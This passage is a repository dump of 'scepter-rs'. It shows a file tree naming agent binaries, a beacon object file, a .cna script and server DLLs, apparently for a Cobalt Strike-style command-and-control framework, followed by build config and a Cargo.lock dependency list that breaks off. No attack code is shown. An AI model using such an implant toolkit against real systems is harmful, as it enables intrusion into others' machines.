├── .cargo └── config.toml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE.txt ├── bins ├── aarch64 │ ├── scepter_agent.apple.aarch64.bin │ ├── scepter_agent.linux.aarch64.bin │ ├── scepter_agent.windows.aarch64.dll │ └── scepter_agent.windows.aarch64.exe └── x64 │ ├── bof_write_pipe.x64.o │ ├── scepter_agent.apple.x64.bin │ ├── scepter_agent.linux.x64.bin │ ├── scepter_agent.windows.x64.dll │ ├── scepter_agent.windows.x64.exe │ ├── scepter_server.shc.windows.x64.dll │ └── scepter_server.windows.x64.dll ├── bof-write-pipe ├── beacon.h └── bof.c ├── img.png ├── img_1.png ├── img_2.png ├── img_3.png ├── img_4.png ├── out ├── .gitkeep ├── aarch64 │ └── .gitkeep └── x64 │ └── .gitkeep ├── readme.md ├── rust-toolchain.toml ├── scepter-agent ├── Cargo.toml └── src │ ├── lib.rs │ └── main.rs ├── scepter-common ├── Cargo.toml └── src │ ├── lib.rs │ └── pipe.rs ├── scepter-rs.cna ├── scepter-server ├── Cargo.toml └── src │ ├── lib.rs │ └── main.rs └── xtask ├── Cargo.toml └── src └── main.rs /.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | target = "x86_64-pc-windows-gnu" 3 | 4 | [target.x86_64-pc-windows-gnu] 5 | linker = "x86_64-w64-mingw32-gcc" 6 | 7 | [target.x86_64-unknown-linux-musl] 8 | linker = "rust-lld" -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 4 4 | 5 | [[package]] 6 | name = "addr2line" 7 | version = "0.24.2" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1" 10 | dependencies = [ 11 | "gimli", 12 | ] 13 | 14 | [[package]] 15 | name = "adler2" 16 | version = "2.0.0" 17 | source = "registry+https://github.com/rust-lang/crates.io-index" 18 | checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627" 19 | 20 | [[package]] 21 | name = "aead" 22 | version = "0.5.2" 23 | source = "registry+https://github.com/rust-lang/crates.io-index" 24 | checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" 25 | dependencies = [ 26 | "crypto-common", 27 | "generic-array", 28 | ] 29 | 30 | [[package]] 31 | name = "aes" 32 | version = "0.8.4" 33 | source = "registry+https://github.com/rust-lang/crates.io-index" 34 | checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" 35 | dependencies = [ 36 | "cfg-if", 37 | "cipher", 38 | "cpufeatures", 39 | ] 40 | 41 | [[package]] 42 | name = "aes-gcm" 43 | version = "0.10.3" 44 | source = "registry+https://github.com/rust-lang/crates.io-index" 45 | checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1" 46 | dependencies = [ 47 | "aead", 48 | "aes", 49 | "cipher", 50 | "ctr", 51 | "ghash", 52 | "subtle", 53 | ] 54 | 55 | [[package]] 56 | name = "android-tzdata" 57 | version = "0.1.1" 58 | source = "registry+https://github.com/rust-lang/crates.io-index" 59 | checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" 60 | 61 | [[package]] 62 | name = "android_system_properties" 63 | version = "0.1.5" 64 | source = "registry+https://github.com/rust-lang/crates.io-index" 65 | checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" 66 | dependencies = [ 67 | "libc", 68 | ] 69 | 70 | [[package]] 71 | name = "argon2" 72 | version = "0.5.3" 73 | source = "registry+https://github.com/rust-lang/crates.io-index" 74 | checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072" 75 | dependencies = [ 76 | "base64ct", 77 | "blake2", 78 | "cpufeatures", 79 | "password-hash", 80 | ] 81 | 82 | [[package]] 83 | name = "autocfg" 84 | version = "1.4.0" 85 | source = "registry+https://github.com/rust-lang/crates.io-index" 86 | checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" 87 | 88 | [[package]] 89 | name = "backtrace" 90 | version = "0.3.75" 91 | source = "registry+https://github.com/rust-lang/crates.io-index" 92 | checksum = "6806a6321ec58106fea15becdad98371e28d92ccbc7c8f1b3b6dd724fe8f1002" 93 | dependencies = [ 94 | "addr2line", 95 | "cfg-if", 96 | "libc", 97 | "miniz_oxide", 98 | "object", 99 | "rustc-demangle", 100 | "windows-targets", 101 | ] 102 | 103 | [[package]] 104 | name = "base16ct" 105 | version = "0.2.0" 106 | source = "registry+https://github.com/rust-lang/crates.io-index" 107 | checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" 108 | 109 | [[package]] 110 | name = "base64ct" 111 | version = "1.7.3" 112 | source = "registry+https://github.com/rust-lang/crates.io-index" 113 | checksum = "89e25b6adfb930f02d1981565a6e5d9c547ac15a96606256d3b59040e5cd4ca3" 114 | 115 | [[package]] 116 | name = "bcrypt-pbkdf" 117 | version = "0.10.0" 118 | source = "registry+https://github.com/rust-lang/crates.io-index" 119 | checksum = "6aeac2e1fe888769f34f05ac343bbef98b14d1ffb292ab69d4608b3abc86f2a2" 120 | dependencies = [ 121 | "blowfish", 122 | "pbkdf2", 123 | "sha2", 124 | ] 125 | 126 | [[package]] 127 | name = "bitflags" 128 | version = "2.9.1" 129 | source = "registry+https://github.com/rust-lang/crates.io-index" 130 | checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967" 131 | 132 | [[package]] 133 | name = "blake2" 134 | version = "0.10.6" 135 | source = "registry+https://github.com/rust-lang/crates.io-index" 136 | checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe" 137 | dependencies = [ 138 | "digest", 139 | ] 140 | 141 | [[package]] 142 | name = "block-buffer" 143 | version = "0.10.4" 144 | source = "registry+https://github.com/rust-lang/crates.io-index" 145 | checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" 146 | dependencies = [ 147 | "generic-array", 148 | ] 149 | 150 | [[package]] 151 | name = "block-padding" 152 | version = "0.3.3" 153 | source = "registry+https://github.com/rust-lang/crates.io-index" 154 | checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" 155 | dependencies = [ 156 | "generic-array", 157 | ] 158 | 159 | [[package]] 160 | name = "blowfish" 161 | version = "0.9.1" 162 | source = "registry+https://github.com/rust-lang/crates.io-index" 163 | checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7" 164 | dependencies = [ 165 | "byteorder", 166 | "cipher", 167 | ] 168 | 169 | [[package]] 170 | name = "bumpalo" 171 | version = "3.17.0" 172 | source = "registry+https://github.com/rust-lang/crates.io-index" 173 | checksum = "1628fb46dfa0b37568d12e5edd512553eccf6a22a78e8bde00bb4aed84d5bdbf" 174 | 175 | [[package]] 176 | name = "byteorder" 177 | version = "1.5.0" 178 | source = "registry+https://github.com/rust-lang/crates.io-index" 179 | checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" 180 | 181 | [[package]] 182 | name = "bytes" 183 | version = "1.10.1" 184 | source = "registry+https://github.com/rust-lang/crates.io-index" 185 | checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" 186 | 187 | [[package]] 188 | name = "cbc" 189 | version = "0.1.2" 190 | source = "registry+https://github.com/rust-lang/crates.io-index" 191 | checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" 192 | dependencies = [ 193 | "cipher", 194 | ] 195 | 196 | [[package]] 197 | name = "cc" 198 | version = "1.2.23" 199 | source = "registry+https://github.com/rust-lang/crates.io-index" 200 | checksum = "5f4ac86a9e5bc1e2b3449ab9d7d3a6a405e3d1bb28d7b9be8614f55846ae3766" 201 | dependencies = [ 202 | "shlex", 203 | ] 204 | 205 | [[package]] 206 | name = "cfg-if" 207 | version = "1.0.0" 208 | source = "registry+https://github.com/rust-lang/crates.io-index" 209 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 210 | 211 | [[package]] 212 | name = "cfg_aliases" 213 | version = "0.2.1" 214 | source = "registry+https://github.com/rust-lang/crates.io-index" 215 | checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" 216 | 217 | [[package]] 218 | name = "chacha20" 219 | version = "0.9.1" 220 | source = "registry+https://github.com/rust-lang/crates.io-index" 221 | checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" 222 | dependencies = [ 223 | "cfg-if", 224 | "cipher", 225 | "cpufeatures", 226 | ] 227 | 228 | [[package]] 229 | name = "chrono" 230 | version = "0.4.41" 231 | source = "registry+https://github.com/rust-lang/crates.io-index" 232 | checksum = "c469d952047f47f91b68d1cba3f10d63c11d73e4636f24f08daf0278abf01c4d" 233 | dependencies = [ 234 | "android-tzdata", 235 | "iana-time-zone", 236 | "js-sys", 237 | "num-traits", 238 | "wasm-bindgen", 239 | "windows-link", 240 | ] 241 | 242 | [[package]] 243 | name = "cipher" 244 | version = "0.4.4" 245 | source = "registry+https://github.com/rust-lang/crates.io-index" 246 | checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" 247 | dependencies = [ 248 | "crypto-common", 249 | "inout", 250 | ] 251 | 252 | [[package]] 253 | name = "const-oid" 254 | version = "0.9.6" 255 | source = "registry+https://github.com/rust-lang/crates.io-index" 256 | checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" 257 | 258 | [[package]] 259 | name = "core-foundation-sys" 260 | version = "0.8.7" 261 | source = "registry+https://github.com/rust-lang/crates.io-index" 262 | checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" 263 | 264 | [[package]] 265 | name = "cpufeatures" 266 | version = "0.2.17" 267 | source = "registry+https://github.com/rust-lang/crates.io-index" 268 | checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" 269 | dependencies = [ 270 | "libc", 271 | ] 272 | 273 | [[package]] 274 | name = "crc32fast" 275 | version = "1.4.2" 276 | source = "registry+https://github.com/rust-lang/crates.io-index" 277 | checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3" 278 | dependencies = [ 279 | "cfg-if", 280 | ] 281 | 282 | [[package]] 283 | name = "crypto-bigint" 284 | version = "0.5.5" 285 | source = "registry+https://github.com/rust-lang/crates.io-index" 286 | checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" 287 | dependencies = [ 288 | "generic-array", 289 | "rand_core", 290 | "subtle", 291 | "zeroize", 292 | ] 293 | 294 | [[package]] 295 | name = "crypto-common" 296 | version = "0.1.6" 297 | source = "registry+https://github.com/rust-lang/crates.io-index" 298 | checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" 299 | dependencies = [ 300 | "generic-array", 301 | "rand_core", 302 | "typenum", 303 | ] 304 | 305 | [[package]] 306 | name = "ctr" 307 | version = "0.9.2" 308 | source = "registry+https://github.com/rust-lang/crates.io-index" 309 | checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" 310 | dependencies = [ 311 | "cipher", 312 | ] 313 | 314 | [[package]] 315 | name = "curve25519-dalek" 316 | version = "4.1.3" 317 | source = "registry+https://github.com/rust-lang/crates.io-index" 318 | checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" 319 | dependencies = [ 320 | "cfg-if", 321 | "cpufeatures", 322 | "curve25519-dalek-derive", 323 | "digest", 324 | "fiat-crypto", 325 | "rustc_version", 326 | "subtle", 327 | "zeroize", 328 | ] 329 | 330 | [[package]] 331 | name = "curve25519-dalek-derive" 332 | version = "0.1.1" 333 | source = "registry+https://github.com/rust-lang/crates.io-index" 334 | checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" 335 | dependencies = [ 336 | "proc-macro2", 337 | "quote", 338 | "syn", 339 | ] 340 | 341 | [[package]] 342 | name = "data-encoding" 343 | version = "2.9.0" 344 | source = "registry+https://github.com/rust-lang/crates.io-index" 345 | checksum = "2a2330da5de22e8a3cb63252ce2abb30116bf5265e89c0e01bc17015ce30a476" 346 | 347 | [[package]] 348 | name = "debug_print" 349 | version = "1.0.0" 350 | source = "registry+https://github.com/rust-lang/crates.io-index" 351 | checksum = "8f215f9b7224f49fb73256115331f677d868b34d18b65dbe4db392e6021eea90" 352 | 353 | [[package]] 354 | name = "delegate" 355 | version = "0.13.3" 356 | source = "registry+https://github.com/rust-lang/crates.io-index" 357 | checksum = "b9b6483c2bbed26f97861cf57651d4f2b731964a28cd2257f934a4b452480d21" 358 | dependencies = [ 359 | "proc-macro2", 360 | "quote", 361 | "syn", 362 | ] 363 | 364 | [[package]] 365 | name = "der" 366 | version = "0.7.10" 367 | source = "registry+https://github.com/rust-lang/crates.io-index" 368 | checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" 369 | dependencies = [ 370 | "const-oid", 371 | "pem-rfc7468", 372 | "zeroize", 373 | ] 374 | 375 | [[package]] 376 | name = "digest" 377 | version = "0.10.7" 378 | source = "registry+https://github.com/rust-lang/crates.io-index" 379 | checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" 380 | dependencies = [ 381 | "block-buffer", 382 | "const-oid", 383 | "crypto-common", 384 | "subtle", 385 | ] 386 | 387 | [[package]] 388 | name = "ecdsa" 389 | version = "0.16.9" 390 | source = "registry+https://github.com/rust-lang/crates.io-index" 391 | checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca" 392 | dependencies = [ 393 | "der", 394 | "digest", 395 | "elliptic-curve", 396 | "rfc6979", 397 | "signature", 398 | "spki", 399 | ] 400 | 401 | [[package]] 402 | name = "ed25519" 403 | version = "2.2.3" 404 | source = "registry+https://github.com/rust-lang/crates.io-index" 405 | checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53" 406 | dependencies = [ 407 | "pkcs8", 408 | "signature", 409 | ] 410 | 411 | [[package]] 412 | name = "ed25519-dalek" 413 | version = "2.1.1" 414 | source = "registry+https://github.com/rust-lang/crates.io-index" 415 | checksum = "4a3daa8e81a3963a60642bcc1f90a670680bd4a77535faa384e9d1c79d620871" 416 | dependencies = [ 417 | "curve25519-dalek", 418 | "ed25519", 419 | "rand_core", 420 | "serde", 421 | "sha2", 422 | "subtle", 423 | "zeroize", 424 | ] 425 | 426 | [[package]] 427 | name = "elliptic-curve" 428 | version = "0.13.8" 429 | source = "registry+https://github.com/rust-lang/crates.io-index" 430 | checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47" 431 | dependencies = [ 432 | "base16ct", 433 | "crypto-bigint", 434 | "digest", 435 | "ff", 436 | "generic-array", 437 | "group", 438 | "hkdf", 439 | "pem-rfc7468", 440 | "pkcs8", 441 | "rand_core", 442 | "sec1", 443 | "subtle", 444 | "zeroize", 445 | ] 446 | 447 | [[package]] 448 | name = "enum_dispatch" 449 | version = "0.3.13" 450 | source = "registry+https://github.com/rust-lang/crates.io-index" 451 | checksum = "aa18ce2bc66555b3218614519ac839ddb759a7d6720732f979ef8d13be147ecd" 452 | dependencies = [ 453 | "once_cell", 454 | "proc-macro2", 455 | "quote", 456 | "syn", 457 | ] 458 | 459 | [[package]] 460 | name = "ff" 461 | version = "0.13.1" 462 | source = "registry+https://github.com/rust-lang/crates.io-index" 463 | checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393" 464 | dependencies = [ 465 | "rand_core", 466 | "subtle", 467 | ] 468 | 469 | [[package]] 470 | name = "fiat-crypto" 471 | version = "0.2.9" 472 | source = "registry+https://github.com/rust-lang/crates.io-index" 473 | checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" 474 | 475 | [[package]] 476 | name = "flate2" 477 | version = "1.1.1" 478 | source = "registry+https://github.com/rust-lang/crates.io-index" 479 | checksum = "7ced92e76e966ca2fd84c8f7aa01a4aea65b0eb6648d72f7c8f3e2764a67fece" 480 | dependencies = [ 481 | "crc32fast", 482 | "miniz_oxide", 483 | ] 484 | 485 | [[package]] 486 | name = "futures" 487 | version = "0.3.31" 488 | source = "registry+https://github.com/rust-lang/crates.io-index" 489 | checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" 490 | dependencies = [ 491 | "futures-channel", 492 | "futures-core", 493 | "futures-executor", 494 | "futures-io", 495 | "futures-sink", 496 | "futures-task", 497 | "futures-util", 498 | ] 499 | 500 | [[package]] 501 | name = "futures-channel" 502 | version = "0.3.31" 503 | source = "registry+https://github.com/rust-lang/crates.io-index" 504 | checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" 505 | dependencies = [ 506 | "futures-core", 507 | "futures-sink", 508 | ] 509 | 510 | [[package]] 511 | name = "futures-core" 512 | version = "0.3.31" 513 | source = "registry+https://github.com/rust-lang/crates.io-index" 514 | checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" 515 | 516 | [[package]] 517 | name = "futures-executor" 518 | version = "0.3.31" 519 | source = "registry+https://github.com/rust-lang/crates.io-index" 520 | checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" 521 | dependencies = [ 522 | "futures-core", 523 | "futures-task", 524 | "futures-util", 525 | ] 526 | 527 | [[package]] 528 | name = "futures-io" 529 | version = "0.3.31" 530 | source = "registry+https://github.com/rust-lang/crates.io-index" 531 | checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" 532 | 533 | [[package]] 534 | name = "futures-macro" 535 | version = "0.3.31" 536 | source = "registry+https://github.com/rust-lang/crates.io-index" 537 | checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" 538 | dependencies = [ 539 | "proc-macro2", 540 | "quote", 541 | "syn", 542 | ] 543 | 544 | [[package]] 545 | name = "futures-sink" 546 | version = "0.3.31" 547 | source = "registry+https://github.com/rust-lang/crates.io-index" 548 | checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" 549 | 550 | [[package]] 551 | name = "futures-task" 552 | version = "0.3.31" 553 | source = "registry+https://github.com/rust-lang/crates.io-index" 554 | checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" 555 | 556 | [[package]] 557 | name = "futures-util" 558 | version = "0.3.31" 559 | source = "registry+https://github.com/rust-lang/crates.io-index" 560 | checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" 561 | dependencies = [ 562 | "futures-channel", 563 | "futures-core", 564 | "futures-io", 565 | "futures-macro", 566 | "futures-sink", 567 | "futures-task", 568 | "memchr", 569 | "pin-project-lite", 570 | "pin-utils", 571 | "slab", 572 | ] 573 | 574 | [[package]] 575 | name = "generic-array" 576 | version = "0.14.7" 577 | source = "registry+https://github.com/rust-lang/crates.io-index" 578 | checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" 579 | dependencies = [ 580 | "typenum", 581 | "version_check", 582 | "zeroize", 583 | ] 584 | 585 | [[package]] 586 | name = "getrandom" 587 | version = "0.2.16" 588 | source = "registry+https://github.com/rust-lang/crates.io-index" 589 | checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" 590 | dependencies = [ 591 | "cfg-if", 592 | "js-sys", 593 | "libc", 594 | "wasi", 595 | "wasm-bindgen", 596 | ] 597 | 598 | [[package]] 599 | name = "ghash" 600 | version = "0.5.1" 601 | source = "registry+https://github.com/rust-lang/crates.io-index" 602 | checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1" 603 | dependencies = [ 604 | "opaque-debug", 605 | "polyval", 606 | ] 607 | 608 | [[package]] 609 | name = "gimli" 610 | version = "0.31.1" 611 | source = "registry+https://github.com/rust-lang/crates.io-index" 612 | checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f" 613 | 614 | [[package]] 615 | name = "group" 616 | version = "0.13.0" 617 | source = "registry+https://github.com/rust-lang/crates.io-index" 618 | checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63" 619 | dependencies = [ 620 | "ff", 621 | "rand_core", 622 | "subtle", 623 | ] 624 | 625 | [[package]] 626 | name = "hex" 627 | version = "0.4.3" 628 | source = "registry+https://github.com/rust-lang/crates.io-index" 629 | checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" 630 | 631 | [[package]] 632 | name = "hex-literal" 633 | version = "0.4.1" 634 | source = "registry+https://github.com/rust-lang/crates.io-index" 635 | checksum = "6fe2267d4ed49bc07b63801559be28c718ea06c4738b7a03c94df7386d2cde46" 636 | 637 | [[package]] 638 | name = "hkdf" 639 | version = "0.12.4" 640 | source = "registry+https://github.com/rust-lang/crates.io-index" 641 | checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" 642 | dependencies = [ 643 | "hmac", 644 | ] 645 | 646 | [[package]] 647 | name = "hmac" 648 | version = "0.12.1" 649 | source = "registry+https://github.com/rust-lang/crates.io-index" 650 | checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" 651 | dependencies = [ 652 | "digest", 653 | ] 654 | 655 | [[package]] 656 | name = "home" 657 | version = "0.5.11" 658 | source = "registry+https://github.com/rust-lang/crates.io-index" 659 | checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf" 660 | dependencies = [ 661 | "windows-sys 0.59.0", 662 | ] 663 | 664 | [[package]] 665 | name = "iana-time-zone" 666 | version = "0.1.63" 667 | source = "registry+https://github.com/rust-lang/crates.io-index" 668 | checksum = "b0c919e5debc312ad217002b8048a17b7d83f80703865bbfcfebb0458b0b27d8" 669 | dependencies = [ 670 | "android_system_properties", 671 | "core-foundation-sys", 672 | "iana-time-zone-haiku", 673 | "js-sys", 674 | "log", 675 | "wasm-bindgen", 676 | "windows-core 0.61.2", 677 | ] 678 | 679 | [[package]] 680 | name = "iana-time-zone-haiku" 681 | version = "0.1.2" 682 | source = "registry+https://github.com/rust-lang/crates.io-index" 683 | checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" 684 | dependencies = [ 685 | "cc", 686 | ] 687 | 688 | [[package]] 689 | name = "inout" 690 | version = "0.1.4" 691 | source = "registry+https://github.com/rust-lang/crates.io-index" 692 | checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" 693 | dependencies = [ 694 | "block-padding", 695 | "generic-array", 696 | ] 697 | 698 | [[package]] 699 | name = "internal-russh-forked-ssh-key" 700 | version = "0.6.10+upstream-0.6.7" 701 | source = "registry+https://github.com/rust-lang/crates.io-index" 702 | checksum = "33555bd765ace379fe85d97bb6d48b5783054f6048a7d5ec24cd9155e490e266" 703 | dependencies = [ 704 | "argon2", 705 | "bcrypt-pbkdf", 706 | "ecdsa", 707 | "ed25519-dalek", 708 | "hex", 709 | "hmac", 710 | "num-bigint-dig", 711 | "p256", 712 | "p384", 713 | "p521", 714 | "rand_core", 715 | "rsa", 716 | "sec1", 717 | "sha1", 718 | "sha2", 719 | "signature", 720 | "ssh-cipher", 721 | "ssh-encoding", 722 | "subtle", 723 | "zeroize", 724 | ] 725 | 726 | [[package]] 727 | name = "js-sys" 728 | version = "0.3.77" 729 | source = "registry+https://github.com/rust-lang/crates.io-index" 730 | checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f" 731 | dependencies = [ 732 | "once_cell", 733 | "wasm-bindgen", 734 | ] 735 | 736 | [[package]] 737 | name = "lazy_static" 738 | version = "1.5.0" 739 | source = "registry+https://github.com/rust-lang/crates.io-index" 740 | checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" 741 | dependencies = [ 742 | "spin", 743 | ] 744 | 745 | [[package]] 746 | name = "libc" 747 | version = "0.2.172" 748 | source = "registry+https://github.com/rust-lang/crates.io-index" 749 | checksum = "d750af042f7ef4f724306de029d18836c26c1765a54a6a3f094cbd23a7267ffa" 750 | 751 | [[package]] 752 | name = "libm" 753 | version = "0.2.15" 754 | source = "registry+https://github.com/rust-lang/crates.io-index" 755 | checksum = "f9fbbcab51052fe104eb5e5d351cf728d30a5be1fe14d9be8a3b097481fb97de" 756 | 757 | [[package]] 758 | name = "log" 759 | version = "0.4.27" 760 | source = "registry+https://github.com/rust-lang/crates.io-index" 761 | checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" 762 | 763 | [[package]] 764 | name = "md5" 765 | version = "0.7.0" 766 | source = "registry+https://github.com/rust-lang/crates.io-index" 767 | checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" 768 | 769 | [[package]] 770 | name = "memchr" 771 | version = "2.7.4" 772 | source = "registry+https://github.com/rust-lang/crates.io-index" 773 | checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" 774 | 775 | [[package]] 776 | name = "miniz_oxide" 777 | version = "0.8.8" 778 | source = "registry+https://github.com/rust-lang/crates.io-index" 779 | checksum = "3be647b768db090acb35d5ec5db2b0e1f1de11133ca123b9eacf5137868f892a" 780 | dependencies = [ 781 | "adler2", 782 | ] 783 | 784 | [[package]] 785 | name = "mio" 786 | version = "1.0.3" 787 | source = "registry+https://github.com/rust-lang/crates.io-index" 788 | checksum = "2886843bf800fba2e3377cff24abf6379b4c4d5c6681eaf9ea5b0d15090450bd" 789 | dependencies = [ 790 | "libc", 791 | "wasi", 792 | "windows-sys 0.52.0", 793 | ] 794 | 795 | [[package]] 796 | name = "nix" 797 | version = "0.29.0" 798 | source = "registry+https://github.com/rust-lang/crates.io-index" 799 | checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" 800 | dependencies = [ 801 | "bitflags", 802 | "cfg-if", 803 | "cfg_aliases", 804 | "libc", 805 | ] 806 | 807 | [[package]] 808 | name = "num-bigint" 809 | version = "0.4.6" 810 | source = "registry+https://github.com/rust-lang/crates.io-index" 811 | checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9" 812 | dependencies = [ 813 | "num-integer", 814 | "num-traits", 815 | "rand", 816 | ] 817 | 818 | [[package]] 819 | name = "num-bigint-dig" 820 | version = "0.8.4" 821 | source = "registry+https://github.com/rust-lang/crates.io-index" 822 | checksum = "dc84195820f291c7697304f3cbdadd1cb7199c0efc917ff5eafd71225c136151" 823 | dependencies = [ 824 | "byteorder", 825 | "lazy_static", 826 | "libm", 827 | "num-integer", 828 | "num-iter", 829 | "num-traits", 830 | "rand", 831 | "smallvec", 832 | "zeroize", 833 | ] 834 | 835 | [[package]] 836 | name = "num-integer" 837 | version = "0.1.46" 838 | source = "registry+https://github.com/rust-lang/crates.io-index" 839 | checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" 840 | dependencies = [ 841 | "num-traits", 842 | ] 843 | 844 | [[package]] 845 | name = "num-iter" 846 | version = "0.1.45" 847 | source = "registry+https://github.com/rust-lang/crates.io-index" 848 | checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" 849 | dependencies = [ 850 | "autocfg", 851 | "num-integer", 852 | "num-traits", 853 | ] 854 | 855 | [[package]] 856 | name = "num-traits" 857 | version = "0.2.19" 858 | source = "registry+https://github.com/rust-lang/crates.io-index" 859 | checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" 860 | dependencies = [ 861 | "autocfg", 862 | "libm", 863 | ] 864 | 865 | [[package]] 866 | name = "object" 867 | version = "0.36.7" 868 | source = "registry+https://github.com/rust-lang/crates.io-index" 869 | checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87" 870 | dependencies = [ 871 | "memchr", 872 | ] 873 | 874 | [[package]] 875 | name = "once_cell" 876 | version = "1.21.3" 877 | source = "registry+https://github.com/rust-lang/crates.io-index" 878 | checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" 879 | 880 | [[package]] 881 | name = "opaque-debug" 882 | version = "0.3.1" 883 | source = "registry+https://github.com/rust-lang/crates.io-index" 884 | checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" 885 | 886 | [[package]] 887 | name = "p256" 888 | version = "0.13.2" 889 | source = "registry+https://github.com/rust-lang/crates.io-index" 890 | checksum = 